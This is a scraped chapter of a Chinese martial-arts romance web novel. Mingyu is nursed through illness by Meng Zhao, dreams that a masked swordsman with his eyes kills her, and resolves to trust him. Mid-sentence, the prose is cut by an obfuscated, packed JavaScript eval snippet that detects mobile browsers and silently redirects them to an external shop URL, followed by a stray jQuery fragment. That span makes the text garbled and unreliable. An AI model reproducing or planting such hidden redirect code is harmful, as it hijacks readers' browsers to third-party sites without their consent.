孟昭垂了垂眸,
接着,他又替鸣玉掖了掖被角,柔声道:
“你先喝着,我去请个大夫过来看看,”
“不不,不用的,”鸣玉紧忙出声阻止,“没什么大碍,疼过这一阵子应该就好了。”
“身体重要,现在该好好调理调理才是,”孟昭温温柔柔地讲道,
鸣玉继续摩挲着手里的茶盅,笑笑,“我这是偶然,下次就不会是这样子的了,”
“爹说过,女孩子家的身子,须得好生照顾,”孟昭从床沿上站起身,
出门前,他又特意叮嘱鸣玉喝完红糖姜水后,就躺下闭会儿眼,休息休息。
鸣玉端着茶盅,一小口一小口地抿着,脑海里一遍遍浮现起孟昭刚才捧着茶盅进门的样子,
想着想着,鸣玉“噗嗤”笑了一声,
此时的屋子里,就只剩下鸣玉一个人,她的笑,没有人回应,
周围静悄悄的,
一安静,人就容易胡思乱想,这次,鸣玉也不例外,她的思绪逐渐翻飞起来,
从这里到那里,从这事到那事,从这人到那人……
思绪飞着飞着,忽然飞到了孟昭身上的奇奇怪怪之处,
他的秘密究竟是什么呢?
鸣玉不自觉地揣测到。
不知不觉间,红糖姜水见了底,
可鸣玉的思绪却未能跟着敛起,她就这么任由思绪在脑内横冲直撞,
好的坏的、杂七杂八的猜想此起彼伏,
有很多的事情,朦朦胧胧之中,慢慢模糊了头绪,剪不断,理还乱。
想着想着,鸣玉只觉得自己的头越来越大,眼皮越来越重,渐渐地,她就昏昏沉沉地睡过去了。
一阵迷雾袭来,
风吹过漫无边际的竹林,沙沙作响,
迷雾蒙蔽了鸣玉的视觉,竹叶声扰乱了鸣玉的听觉,
她独自一人提着长刀,似乎是想要寻找些什么,
忽然,一阵啜泣声传进了鸣玉的耳朵,这凄凄切切的声音让她身上的汗毛全都立了起来,
压住脚步声,鸣玉循着声音过去,
啜泣声愈发清晰,可眼前依旧只有一片迷雾,
陡然间,啜泣声在她的四周响起,须臾间,便将她“裹”了个严严实实,
鸣玉的身形一颤,头皮发麻,心跳得厉害,她找准一个方向,打算离开这片竹林,冲出这片迷雾,
可就在这时,身后的空气猛地被撕裂了,一柄铁剑划过鸣玉的脸颊,
鸣玉抬起长刀做挡,
眼前这人的脸上虽蒙着一层铁质面具,但他却有着一双极其特别的眼睛,
也就是这双眼睛,唤醒了鸣玉脑袋里唯一的想法——捉他归案。
竹林里的两道身影缠斗在一起,
一根根劲竹被拦腰削断,沾染着雾气的竹叶淋满了两人的衣衫,
抓住时机,鸣玉的刀锋直直地劈向那人的头顶,
可就在这时,她的双脚却好似被灌上了铅,
胸口一闷,
一柄铁剑干脆利落地插进鸣玉的心脏,那一刻,持剑之人没有丝毫的犹豫,
鲜血从鸣玉的嘴角流出,
“对不住了,”持剑之人的声音忽然变得沙哑低沉,
长剑从鸣玉的心口抽离,
那人的面具瞬时裂开,随着鸣玉一起,直直落进枯黄的竹叶里……
“真的是你吗?!”鸣玉猛然惊醒!
此时的她,心正紧紧地揪在一块儿,额头上也布满了豆大的汗珠,指甲更是深深地陷进了掌心的软肉里,
拍拍自己的心口,鸣玉大口大口地喘着粗气,心情久久不能平复下来。
望着窗外的阳光,鸣玉彻底地失了神。
又过了约莫有半刻钟的功夫,孟昭带着大夫赶回来了,
这次回应敲门声的是一道发紧的声音,
孟昭的脚步随之顿了下。
“怎么样,大夫,鸣玉身体没事吧,”孟昭见大夫的手指从鸣玉的脉搏处撤离,急匆匆地开口关心道,
大夫嘶了一声,道:“这位姑娘近来可是吃了什么寒凉之物?”
鸣玉还在盯着毯子出神,大夫的话从她耳边飘过,却未能进入她的耳道和大脑,
“姑娘,姑娘?”大夫加大音量,
鸣玉这才回过神,连忙道歉道:
“不好意思啊,我有些失礼了,您刚才说了什么,能再说一遍吗?”
“姑娘近来可是吃了什么寒凉之物?”说着说着,大夫似乎是想到了些什么,不等鸣玉回答,便又开口问道:
“前些天衙门的不少差爷都中了毒,不知姑娘是否也不幸……?”
鸣玉点点头,“我也在内。”
大夫捋捋胡须,“明白了,姑娘今日之所以会腹痛,根源就在于那日的毒药上,”
“往后会落下病根吗?”孟昭看上去担忧不已,
“那毒倒没有这么厉害,吃些汤药,好生调养几日便可无碍,”
大夫一边说,一边走到桌旁,从自己的匣子里取出纸笔,很是熟练地开出药方,
递予孟昭,“照这个方子去抓药吧。”
孟昭拿着方子,向大夫连连道谢,
道过谢,孟昭又注意到双眼无神的鸣玉,浅笑着摇摇头,
“良药苦口利于病,吃了药,鸣玉你的身子很快就能恢复的,快别担心了。”
鸣玉抬起眼,刚好对上孟昭的双眸,
她的心尖一颤,
这双眼睛的形状跟梦里的那双没有丝毫的差别,可里面的眸子,却是一双温润,一双决绝。
望着望着,鸣玉脱口而出地问道:
“孟昭,你会骗人吗?”
“大夫都说了,我怎么还能骗到你呢,”孟昭接着安慰道:“吃了药咱们就吃蜜饯,苦味很快就会散下去的。”
鸣玉垂下头,喃喃出声道:“真的吗?你真的不会骗人?”
“当然,再说了,我怎么能骗过这么聪明的鸣玉?”孟昭晃晃手里的药方,
“我送大夫出去,然后再去抓些药,你快躺下再睡会儿,好好休息休息。”
鸣玉扯扯唇角,趴在床上,将枕头缓缓移到了腹间,
孟昭跟大夫一起离开了,
两双截然不同的眸子不停地从鸣玉脑子里闪现,
鸣玉晃晃脑袋,想要将那些杂七杂八的想法从脑袋里甩出去。
脑海里浮现出第一次见到孟昭的场景,
紧接着,与孟昭有关的一幅幅画卷在鸣玉的脑海里展开,
想的多了,鸣玉缓缓闭上了双眼——
县令大人并不笨,孟昭跟他走得那么近,他怎么会容许一个坏人呆在自己身边,呆在这个县衙当中呢?
每个人都有过去,在过去里或许有属于自己的秘密,他们是不是有权利守护住自己的秘密呢?
孟昭现下是自己的朋友,朋友之间,因为一个虚无镖渺的秘密,难道就要丧失最基本的信任了吗?
想到这里,鸣玉如释重负地笑了一下,
孟昭是自己的朋友,没有证据的怀疑算不算是污蔑?
自己不了解他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659959|140415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过去,但在这些时日的相处中,有机会了解了几分他的现在,
以他现在的为人来说,他不会是坏人,
将来,这些秘密或许会让他继续做个好人,又或许,这些秘密会让他变成坏人,
好与坏,都是未知的,自己不应该凭空臆造,如果让这些虚假的猜想吞噬掉朋友间的信任与理解,这会成为极其糟糕的一件事,
再说了,如果他某一刻真的变坏了,他便不配做自己的朋友,更不配做天下第一捕快的朋友,
到那时,身为天下第一捕快的自己当然要亲手将他绳之以法,无论是通过耍诈使赖还是下绊子,绝不会有丝毫的犹豫,
不相信他,难道还能不相信自己的拳头嘛!
“鸣玉,”耳畔传来熟悉的声音,
鸣玉调转马头,“孟昭?”
“这是要去哪里?”孟昭驾马赶了上来,
“去量量天地,”鸣玉挑挑眉,
孟昭笑了,“前面山花开得正好,如不嫌弃,我们便一起走一程吧。”
“孟公子好清闲好雅兴,”鸣玉笑着扬鞭启程,“山花烂漫,佳期如梦,”
孟昭挥起马鞭,“万里韶光,来日方长!”
窗子里透进阳光,鸣玉眉间舒展。
小双做完今日的活计,回房时恰巧遇到手提药包的孟昭,
“孟公子,这是给谁买药去了?”
孟昭看看手里的药包,“鸣玉身体有些不舒服,大夫说要吃些药调理调理。”
“玉姐姐怎么了?她回来了吗?”听到鸣玉身体不舒服的消息,小双忧心不已,
孟昭点点头,“她在房间里面,大夫说没有大碍,小双姑娘不必太担心,”
“玉姐姐一般都不吃药的,这次竟然同意吃药了,情况肯定很糟,”孟昭的话并未让小双放下心来,她一边说,一边焦急地抬脚往鸣玉房间赶,
孟昭看到感情这么好的两个人,浅笑一下,提着药包就往厨房的方向走去了。
睡了一觉后,鸣玉腹间的痛感渐少了许多,
趴在床上,鸣玉攥紧拳头,左右转动,仔仔细细地欣赏。
“玉姐姐,”小双慌里慌张地推门进来,直直地冲到鸣玉的床铺前,“你怎么生病了?要不要紧?现在感觉怎么样了?”
鸣玉看着小双满脸焦急的样子,连忙晃起了脑袋,一边晃,一边从床上撑坐起来,
“没事没事,就是前些天不小心吃到五老贼的东西了嘛,然后这次月事就有点疼。”
虽然鸣玉说的是有点疼,但是小双却明白,这个“有点”指的绝不是“一星半点”,
“快别坐着了,还是趴下歇歇吧,”小双上前扶住她的胳膊,“毕竟玉姐姐你都愿意吃药了,”
顺着小双的劲儿,鸣玉到底还是重新趴回了床上。
然后,鸣玉顺势又把小双带到了床沿边,让她坐了下来,
“因为长痛不如短痛呀,”
她咧开嘴角,“大夫说了,这次吃了药,下次就不痛了,所以我这不就当机立断、斩钉截铁、毫不犹豫地同意吃药了嘛,”
说着,鸣玉朝小双一扬眉,“怎么样,我是不是还挺像识时务的俊杰呢!”
鸣玉挠挠后脑勺,嘿嘿笑了几声,“要不我改个名儿,往后就叫赵俊杰,是不是还挺好听的?”
小双被逗得噗嗤一笑,“玉姐姐,你还有精力开玩笑呢!”
“这说明我的精神头儿还好得很呐,所以小双也就不用担心我啦,”
鸣玉把枕头从被子里取出来,垫在脑袋下面,弯起双臂趴了上去。